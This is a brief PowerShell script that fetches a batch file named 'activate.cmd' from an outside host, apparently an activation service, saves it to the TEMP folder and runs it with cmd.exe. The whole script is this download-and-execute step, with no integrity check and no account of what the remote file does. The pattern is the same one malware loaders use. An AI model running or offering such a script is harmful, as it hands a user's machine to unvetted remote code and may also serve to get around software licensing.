$base = 'https://activate.hybridsystems.org'
$cmdPath = '/activate.cmd'
$cmdUrl = $base + $cmdPath
$out = Join-Path $env:TEMP 'activate.cmd'

# Download the .cmd file
Invoke-WebRequest -Uri $cmdUrl -OutFile $out -UseBasicParsing

# Run it with cmd.exe
Start-Process -FilePath 'cmd.exe' -ArgumentList "/c `"$out`"" -Wait